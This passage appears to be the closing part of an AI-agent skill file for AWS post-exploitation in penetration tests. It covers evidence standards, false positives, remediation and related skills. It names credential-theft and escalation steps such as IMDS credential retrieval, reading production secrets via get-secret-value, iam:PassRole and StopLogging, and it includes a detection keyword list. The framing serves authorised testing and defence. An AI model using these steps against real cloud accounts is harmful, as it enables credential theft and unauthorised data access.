print("Report: identity ARN, the control results, each read with its row count.")
print("Revert every write. Verify the reversion. Name the CloudTrail events.")
PY
Identity, control, read, revert. Four artefacts, and a cloud report missing the control or the reversion is incomplete.
9. EVIDENCE STANDARD
| Item | Why |
|---|---|
The identity ARN and account ID, from sts get-caller-identity |
the exact credential to rotate |
| The control call result at that identity base privilege | proves escalation |
| The policy or trust relationship behind each permission | the fix location |
| The resource read with a redacted sample or a row count | impact |
| For role assumption: both identities and what the second added | the escalation step, named |
For IMDS: whether v2 was enforced (the PUT result) |
the control that would have stopped it |
| The CloudTrail event names the activity produced | the blue-team half |
| The remediation of every write and its verification | engagement integrity |
| The credential expiry and whether it remains valid | live impact |
| Confirmation that no secret value is reproduced in full | no unnecessary disclosure |
Report the identity and the read: "the credential on the workload host resolved via IMDSv1 to
arn:aws:sts::123456789012:assumed-role/ci-deployer/i-0abc; sts get-caller-identity confirmed it and
iam list-attached-role-policies showed AmazonS3FullAccess and SecretsManagerReadWrite, and
secretsmanager get-secret-value --secret-id prod/rds/master returned a live database password for
prod-db.cluster-xxxx.us-east-1.rds.amazonaws.com; the same calls with the account read-only baseline
credential are AccessDenied. IMDSv2 is not required, so the credential was retrievable from any
process on the host, including the web application", never "the IAM role is over-permissioned".
False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| A permission listed in a policy you never exercised | a statement, not access |
sts get-caller-identity succeeding |
it is allowed to every credential by design |
An AccessDenied on a resource |
the control working |
| A secret you can list but not read | scope it, or test the read and report the denial |
| An IMDS endpoint reachable without usable credentials | the surface, not the finding |
| An assumable role with no data behind it | hardening only |
| A resource in another account you were given access to | in-scope access, not escalation |
| An over-permissioned role held by a break-glass account you were issued | engagement scope |
| CloudTrail events for your own activity presented as the target | read them, do not assume |
| A finding reproduced against a personal cloud account | tests your own environment |
| A credential or secret value reproduced in full | a disclosure |
Read data, or it is not a finding. Cloud assessments generate a lot of permission listings; they are not the report.
10. REMEDIATION REFERENCE
- Enforce IMDSv2 (
http_tokens: required) on every instance - it stops the single commonest cloud credential theft, and the change is one instance attribute. - Scope every workload role to the specific resources it needs, with conditions, and remove wildcards - most post-exploitation in this document is a consequence of a broad managed policy.
- Eliminate long-lived access keys in favour of short-lived role credentials - a key that does not exist cannot be stolen or left in a repository.
- Set a maximum session duration and require MFA for privileged role assumption - it bounds the value of a stolen session.
- Log every control-plane action to a trail in a separate, restricted account, with an integrity-validated bucket - the attacker who can delete the trail cannot hide if the trail is elsewhere.
- Alert on the escalation primitives:
CreateAccessKey,AttachUserPolicy,PutRolePolicy,CreateUser,UpdateAssumeRolePolicy, andGetSecretValueon sensitive secrets. - Alert on
AssumeRoleinto any role the calling principal has never used before - role-assumption anomaly detection catches lateral movement that permission listings cannot. - Store secrets in a managed secret store with rotation, and never in environment variables, user data, or container images - it reduces both the discovery surface and the lifetime.
- Apply least privilege to the roles that deploy workloads - a CI role with attach-policy rights is an administrator in disguise.
- Review cross-account trust policies and external IDs regularly, and remove unused trusts - trust relationships are the quiet path between accounts.
- Run an inventory of unused permissions from the provider's own access analyser, and revoke them - the permissions nobody uses are the ones an attacker finds useful.
11. RELATED SIBLINGS - LOAD TOGETHER
- cloud-assessment - the assessment methodology this post-exploitation phase follows
- k8s-postexploit - the container-to-cloud pivot that reaches the instance role
- container-escape-techniques - how a pod foothold becomes a host foothold
- linux-postexploit - the host techniques that surface the instance credential
- credential-access-atomic-tests - the technique mapping for detection engineering
SELF-VERIFY — aws-postexploit
wc -c SKILL.md # expect 28000-36000
grep -c '^## ' SKILL.md # expect 7 topological sections
grep -oE '\]\(\.\./[^)]+\)' SKILL.md | tr -d '](' | sed 's/)$//' | sort -u | while read p; do
[ -f "../$p" ] && echo "OK $p" || echo "DEAD $p"; done
for t in 'get-caller-identity' '169.254.169.254' 'X-aws-ec2-metadata-token' \
'simulate-principal-policy' 'PermissionsBoundary' 'SERVICE_CONTROL_POLICY' \
'http-tokens required' 'iam:PassRole' 'ExternalId' 'Object Lock' 'StopLogging' \
'federation_token' 'T1078.004' 'T1552.005'; do
grep -q "$t" SKILL.md && echo "PASS $t" || echo "MISS $t"; done